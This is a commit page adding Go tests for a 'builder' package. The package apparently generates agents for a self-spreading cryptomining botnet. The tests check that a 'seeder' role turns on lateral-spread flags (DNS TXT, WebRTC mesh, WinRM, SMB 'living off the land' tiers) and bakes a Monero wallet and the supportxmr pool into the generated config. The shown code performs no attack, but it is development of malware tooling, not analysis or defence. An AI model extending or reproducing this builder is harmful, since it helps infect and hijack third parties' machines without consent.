Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
55
server/internal/builder/fleet_role_test.go
Normal file
55
server/internal/builder/fleet_role_test.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestApplyFleetRoleBakeDefaultsSeeder(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
FleetRole: "seeder",
|
||||
LotlOnionTiers: []string{"smb", "dns_txt", "winrm"},
|
||||
}
|
||||
applyFleetRoleBakeDefaults(req)
|
||||
if !req.SeederMode || !req.MiningDisabled || req.FleetRole != "seeder" {
|
||||
t.Fatalf("seeder bake: mode=%v disabled=%v role=%q", req.SeederMode, req.MiningDisabled, req.FleetRole)
|
||||
}
|
||||
if !req.DnsTxtSpread || !req.WebRTCMeshSpread || req.WinRMSpread {
|
||||
t.Fatalf("spread flags: dns=%v webrtc=%v winrm=%v", req.DnsTxtSpread, req.WebRTCMeshSpread, req.WinRMSpread)
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 1 || req.LotlOnionTiers[0] != "dns_txt" {
|
||||
t.Fatalf("tiers=%v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBuiltinConfigFleetRoleFields(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "seeder-node", ServerURL: "http://127.0.0.1:8989", Wallet: "4TEST",
|
||||
Threads: 2, PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolPass: "x",
|
||||
FleetRole: "seeder", SeederMode: true, MiningDisabled: true,
|
||||
}
|
||||
src := h.generateBuiltinConfig("build-seed", req)
|
||||
if !containsAll(src, "FleetRole:", "SeederMode:", "seeder") {
|
||||
t.Fatalf("missing fleet role fields in builtin:\n%s", src)
|
||||
}
|
||||
}
|
||||
|
||||
func containsAll(s string, parts ...string) bool {
|
||||
for _, p := range parts {
|
||||
if !contains(s, p) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func contains(s, sub string) bool {
|
||||
return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0)
|
||||
}
|
||||
|
||||
func indexOf(s, sub string) int {
|
||||
for i := 0; i+len(sub) <= len(s); i++ {
|
||||
if s[i:i+len(sub)] == sub {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
Reference in New Issue
Block a user